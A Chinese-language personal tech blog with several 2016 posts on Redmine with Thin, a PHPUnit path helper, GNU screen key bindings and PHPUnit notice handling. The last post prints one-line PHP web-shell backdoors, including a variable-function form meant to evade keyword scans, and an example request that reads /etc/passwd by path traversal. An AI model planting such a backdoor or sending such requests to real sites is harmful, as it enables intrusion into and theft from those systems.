2016/07/16

Redmine booting up with Thin

以前在 FreeBSD 上找不到什麼比較好的 Redmine 啟動方法,當時找到最好的解法是在 Nginx 上面安裝 Passenger 將 Request 轉給 Redmine 執行。

但 passenger 需要在 compile time 手動將 module 編譯進去,若遇到 Nginx 版本更新,還要在手動為了 passenger 設定一次,實在很麻煩。

後來終於找到比較簡單的方法,就是在 Redmine 的 GemFile 加上「Thin」:
gem "rails", "4.2.5.2"
gem "jquery-rails", "~> 3.1.4"
gem "coderay", "~> 1.1.0"
gem "builder", ">= 3.0.4"
....
gem "roadie-rails"
gem "thin"

之後 bundler 安裝時就會自動把對應的 thin 版本拉下來。再來執行「thin config -C config.yml」便會建立一個預設的設定檔:
---
chdir: /home/zeroplex/redmine
environment: development
address: 0.0.0.0
port: 3000
timeout: 30
log: /home/zeroplex/redmine/log/thin.log
pid: tmp/pids/thin.pid
max_conns: 1024
max_persistent_conns: 100
require: []
wait: 30
threadpool_size: 20
daemonize: true

將設定檔的「chdir」設定成 Remine 跟目錄,再來執行「thin start -C config.yml」就能把 Redmine 跑起來了。

若機器上只有 thin 在跑 web server,那就讓他處理外部連線就好。若原本就有其他 web server 像是 Nginx 之類的,可以參考官網說明,設定 proxy 在 web server 把 request 轉給 thin。

2016/07/15

Helper for PHPUnit path detection in bash

較新的 PHP 專案都會在 composer require_dev 自帶 phpunit,這個時候要執行 phpunit 都應該要使用專案中設定的 phpunit 版本:
$ cd /path/to/repository
$ vendor/bin/phpunit

若該專案沒有設定 phpunit 時,才使用系統上,或是 composer global 的 phpunit:
$ cd /path/to/repository
$ ~/.composer/vendor/bin/phpunit  # or "phpunit" for system global

不過這實在有點麻煩,所以乾脆寫 script 處理掉:
phpunit() {
   REPO_PHPUNIT=`pwd`"/vendor/bin/phpunit"

   if [ -e $REPO_PHPUNIT ]; then
      echo "... Run by vendor/bin/phpunit ..."
      $REPO_PHPUNIT $*
   else
      ~/.composer/vendor/bin/phpunit  $*
   fi
}

這樣一來,只要執行 phpunit 就會自動去檢查專案底下是否有 phpunit 可以用;若沒有則自動使用系統的 phpunit。

2016/06/26

在 gnome-teminal 使用 Ctrl + arrow 切換 GNU screen 視窗

這邊標題應該下的不是很好,其實問題和 gnome-teminal 應該是沒什麼關係的。

在 windows 透過 pietty (快換 putty 吧) 連上 server 時,都是直接用 Ctrl + 左/右 來切換 windows, .screenrc 設定方式如下:
bindkey \033[C next
bindkey \033[D prev

不過當 client 是 Ubuntu 時,在 gnome-terminal 操作時,Ctrl + arraow 卻完全沒有效果。後來友人提示在 screen 底下可以先 ctrl + V,再按下 key binding,screen 會把收到的 key code 顯示出來,方便 debug。嘗試了不少種組合都沒有成功。

當 Google 第一頁搜尋結果無法找到方法時,只好往第二頁找屍體。慢慢看到有人提到需要修改 /etc/inputrc 的設定
# allow the use of the Home/End keys
"\e[1~": beginning-of-line
"\e[4~": end-of-line

# allow the use of the Delete/Insert keys
"\e[3~": delete-char
"\e[2~": quoted-insert

....

# mappings for Ctrl-left-arrow and Ctrl-right-arrow for word moving
"\e[1;5C": forward-word
"\e[1;5D": backward-word
"\e[5C": forward-word
"\e[5D": backward-word
"\e\e[C": forward-word
"\e\e[D": backward-word

設定檔中間可以看到 Ctrl + arrow 已經被轉成 forward-word 等操作,把那幾行註解掉即可。

ps. 除了 ssh client 這邊的 inputrc 需要修改外,server side 若有 inputrc 也需要一起修改,不然 client 送過去的 key binding 還是會被 server 改掉。

2016/06/10

PHP Notice in testing by PHPUnit

這邊先做個錯誤示範,以下的程式執行時,會因為對一個不存在的 array index 取值:
class Worker
{
    public function work()
    {
        $arr = [];

        $elem = $arr['nonExist'];
    }
}

執行時會出現以下錯誤訊息:
PHP Notice:  Undefined index: nonExist in /home/zero/tmp/phpunit/Worker.php

PHPUnit 執行 unit test 時會自動將 notice / warning 都轉成 exception,使用者變可以透過「@expectedException」來檢查確認是否有發生預期的錯誤:
class WorkerTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @expectedException PHPUnit_Framework_Error_Notice
     */
    public function testWorker()
    {
        $worker = new Worker();
        $worker->work();
    }
}

unit test 執行結果:
zero@zero-lab:~/tmp/tests$ ./phpunit 
PHPUnit 5.5-gc2e4cf1 by Sebastian Bergmann and contributors.

.                                                                   1 / 1 (100%)

Time: 202 ms, Memory: 3.00MB



但是當 array 取值前後加上了 try ... catch 時會發生什麼事呢?
class Worker
{
    public function work()
    {
        try {
            $arr = [];

            $elem = $arr['nonExist'];
        } catch (Exception $e) {
            // do something
        }
    }
}

再來執行一次 unit test:
zero@zero-lab:~/tmp/tests$ ./phpunit 
PHPUnit 5.5-gc2e4cf1 by Sebastian Bergmann and contributors.

F                                                                   1 / 1 (100%)

Time: 27 ms, Memory: 3.00MB

There was 1 failure:

1) WorkerTest::testWorker
Failed asserting that exception of type "PHPUnit_Framework_Error_Notice" is thrown.

phpunit 顯示錯誤訊息,原本預期會收到「PHPUnit_Framework_Error_Notice」但現在確沒有收到,造成 assertion failed。

這時若在 catch 中將「$e」dump 出來,會發現 PHPUnit_Framework_Error_Notice 被程式中的 try ... catch 抓到了:
object(PHPUnit_Framework_Error_Notice)#20 (8) {
  ....
}

個人覺得這個行為不是非常直覺,在正常行況下,PHP notice 不會被 try ... catch 抓到,而會正常執行下去,但當執行測試時,卻會因為 phpunit 將 notice / warning 自動轉成 exceptions 而導致程式的 work flow 與原先的設計不同,並造成測試時的警報。

目前還沒有想到什麼方法可以避開這個問題,若真要解決這個問題的話,最好的辦法,應該還是在實作時就避免出現 PHP notice 或 warning。

2016/05/22

不需要 PHP eval() 即可執行使用者自訂動作的寫法

以往 PHP 後門都用很簡單的語法去撰寫,例如:
echo eval($_GET['action']);

不過由於 eval() 這個寫法實在是太常見了,若是站方手動做掃描實在很容易被發現。之前看到一個新的寫法,利用 PHP variable functions 的語法來製作後門:
echo $_GET['a']($_GET['b']);

惡意人士可以在網址上使用參數來取得需要的資訊:
http://my.target.site/backdoor.php?a=file_get_contents&b=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin .....

上面這語法沒有使用到 PHP 內建的任何函式,在加上 GET 參數的名稱可以任意設定,用關鍵字搜尋的方法是很難抓出來的。

只能說想到這種寫法的人實在很有創意 XD